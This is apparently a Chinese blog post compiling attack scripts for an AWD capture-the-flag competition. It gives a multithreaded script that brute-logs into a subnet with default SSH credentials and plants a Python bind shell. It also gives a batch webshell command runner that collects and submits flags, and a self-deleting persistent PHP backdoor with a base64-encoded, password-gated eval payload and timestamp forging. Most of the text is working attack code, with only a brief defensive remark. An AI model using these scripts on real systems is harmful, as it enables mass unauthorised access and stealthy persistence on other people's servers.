• AWD攻防工具脚本汇总(一)


    最近工作很忙 今天抽空准备下AWD比赛得攻防工具和脚本

    以下只是常用 希望下周不被吊锤~~ 后续整理后想抽空写成一个攻击框架汇总放github~~

    这里从各种情景和需求中去总结工具和脚本的使用

     

    情景一 默认SSH密码批量反弹shell

    官方在给出服务器密码时,很有可能是默认的,需要赶快修改自己的密码并尝试能不能登陆别人的靶机

    #-*- coding:utf-8 -*-
    import paramiko
    
    ip = '192.168.1.137'
    port = '22'
    username = 'root'
    passwd = 'toor'
    # ssh 用户名 密码 登陆
    def ssh_base_pwd(ip,port,username,passwd,cmd='ls'):
        port = int(port)
        ssh = paramiko.SSHClient()
    
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
        ssh.connect(hostname=ip, port=port, username=username, password=passwd)
    
        stdin,stdout,stderr = ssh.exec_command(cmd)
    
        result = stdout.read()
        if not result :
            print("无结果!")
            result = stderr.read()
        ssh.close()
        
        return result.decode()
        
    a = ssh_base_pwd(ip,port,username,passwd)
    print(a)

    执行命令可以是写webshell或着直接查看flag 并返回提交

    这里献上自己写的批量ssh登录并反弹python shell

     

    #-*- coding:utf-8 -*-
    import paramiko
    import threading
    import queue
    import time
    #反弹shell python
    
    q=queue.Queue()
    #lock = threading.Lock()
    
    # ssh 用户名 密码 登陆
    def ssh_base_pwd(ip,port,username,passwd,cmd):
        port = int(port)
        ssh = paramiko.SSHClient()
    
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
        ssh.connect(hostname=ip, port=port, username=username, password=passwd)
    
        stdin,stdout,stderr = ssh.exec_command(cmd)
    
        result = stdout.read()
        if not result :
            result = stderr.read()
        ssh.close()
        
        return result.decode()
    
    def main(x):
        shell = '''
        #服务器端
        import socket
        import os
        s=socket.socket()   #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
        s.bind(('0.0.0.0',1234))    #绑定地址和端口#0.0.0.0接收任意客户端ip连接
        s.listen(5)                 #调用listen方法开始监听端口,传入的参数为等待连接的最大数量
        con,addr=s.accept()     #接受一个客户端的连接
        #print(con,addr)
    
        for i in range(10):
            cmd=con.recv(1024)
            print(cmd)
            command=cmd.decode()
            if command.startswith('cd'):
                os.chdir(command[2:].strip())   #切换路径
                result=os.getcwd()      #显示路径
            else:
                result=os.popen(command).read()
            if result:
                con.send(result.encode())
            else:
                con.send(b'OK!')
        '''
        cmd = 'echo "%s" > ./shell.py' % (shell) +'&& python3 ./shell.py'
        port = '22'
        username = 'root'
        passwd = 'toor'
        
        ip = '192.168.1.{}'.format(x)
        q.put(ip.strip(),block=True, timeout=None)
        ip_demo=q.get()
        #判断是否成功
        try:
            #lock.acquire()
            res = ssh_base_pwd(ip_demo,port,username,passwd,cmd='id')
            if res:
                print("[ + ]Ip: %s" % ip_demo +" is success!!! [ + ]")
                #lock.release()
                ssh_base_pwd(ip_demo,port,username,passwd,cmd)
        except:
            print("[ - ]Ip: %s" % ip_demo +" is Failed")
        if x > 255:
            print("Finshed!!!!!!!!")
        q.task_done()
        
    #线程队列部分
    th=[]
    th_num=255
    for x in range(th_num):
            t=threading.Thread(target=main,args=(x,))
            th.append(t)
    for x in range(th_num):
            th[x].start()
    for x in range(th_num):
            th[x].join()
            
    
    #q.join()所有任务完成  

    情景二 dump源码

    原因不说了 

    scp -r -P Port remote_username@remote_ip:remote_folder local_file

    情景三 利用shell批量getflag

    在有批量shell后 需要连接shell 批量得到flag并提交

    #!/usr/bin/python
    #coding=utf-8
    import sys,requests,base64,time
    
    #利用一句话木马得到flag
    
    #加载一句话地址的文件
    def shell_list(filepath):
        #格式 http://192.168.174.128/test.php?x=
        #返回列表
        try : 
            with open(filepath,encoding='utf-8') as f:
                data = f.readlines()
                return data
        except : 
            print("File"+filepath+" Not Found!") 
            sys.exit()
        
    def getflag(filepath):
        file = './flag'+str(time.time())[-5:]+'.txt'
        #加载shell地址
        list = shell_list(filepath)
        #访问 执行查看flag命令  linux就是cat
        cmd = "type flag.txt"
        getflag_cmd ="echo system("%s");"%cmd
        for url in list:
            url  = url.strip('
    ') + getflag_cmd
            try:
                res = requests.get(url=url,timeout=5)
            except:
                print(url+"[ - ] request timeout [ - ]")
            if res.content:
                content = str(res.content,'utf-8')
                try : 
                #把得到的flag存到flag文件再批量提交
                    with open(file,'a',encoding='utf-8') as f:
                        f.writelines(content+"
    ")
                except : 
                     print("写flag.txt文件失败!!")
                     sys.exit()
        print("[+] getflag sucessed! flag文件:" +file)
        return file
    
    #批量提交flag
    def sentflag(filepath,url):
        filename = getflag(filepath)#返回存放flag的地址
        #读取存放flag文件
        with open(filename,'r',encoding='utf-8') as f:
            flags = f.readlines()
            for flag in flags:
                links = url + flag.strip('
    ')
                try : 
                    res = requests.get(url=links,timeout=3)
                    if res.status_code==200 :
                        print("[ + ] Send Flag  %s Success [ + ]") % flag
                except : 
                     print("[ - ] Send Flag Failed [ - ]")
                     sys.exit()
                
               
    #第一个参数需要一个存放shell的地址,格式 http://192.168.174.128/test.php?x=    
    #第二个参数需要提交flag的地址 例如http://1.1.1.1/submit.php?token=xxxx&flag=xxxxx
    filepath = './webshell.txt'
    url = 'http://1.1.1.1/submit.php?token=xxxx&flag=xxxxx'
    sentflag(filepath,url)

    情景四 批量利用一句话木马种植不死马

    主要是用来权限维持

    分享一个自己写的不死马:

    <?php
     //qing@3389..
        error_reporting(0);
        set_time_limit(0);   //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
        ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。
        unlink(__FILE__);     //删除自身
    
     $file = '.config.php';
     $code = base64_decode('PD9waHAgLy9lcnJvcl9yZXBvcnRpbmcoMCk7ICBpZihtZDUoJF9QT1NUWydwYXNzJ10pPT09JzU5Nzg5ODY1YzVhMTcyNzdmYmYxMWJjNjIzODI4OTYwJykgIEBldmFsKCRfUE9TVFsnY21kJ10pOyAgPz4=');
     while(true) {
         if(md5(file_get_contents($file))!==md5($code)) {
             file_put_contents($file, $code);
         }
         system('chmod 777 .config.php');
         touch(".config.php",mktime(20,15,1,11,28,2016));
         usleep(100);
     }
    ?>

     

    附上批量访问生成不死马脚本:

     删除config马还是会一直生成 

    顺便提下不死马的解决方式:

    目前最有效的办法就是重启PHP服务器。

    但在awd模式下,一般无权限,

    可以通过不断复写shell.php来达到该木马难以被使用的效果。

  • 相关阅读:
    ubuntu配置bridge网桥
    openstack 手动安装版 功能测试
    BC一周年B
    重构摘要11_处理概括关系
    深入浅出Redis(二)高级特性:事务
    补:小玩文件1-统计文本文件里的字符个数
    【C】字符串,字符和字节(C与指针第9章)
    怎样对报表的參数控件赋值
    POJ-2240 -Arbitrage(Bellman)
    ExtJS学习-----------Ext.Object,ExtJS对javascript中的Object的扩展
  • 原文地址:https://www.cnblogs.com/-qing-/p/11182162.html
Copyright © 2020-2023  润新知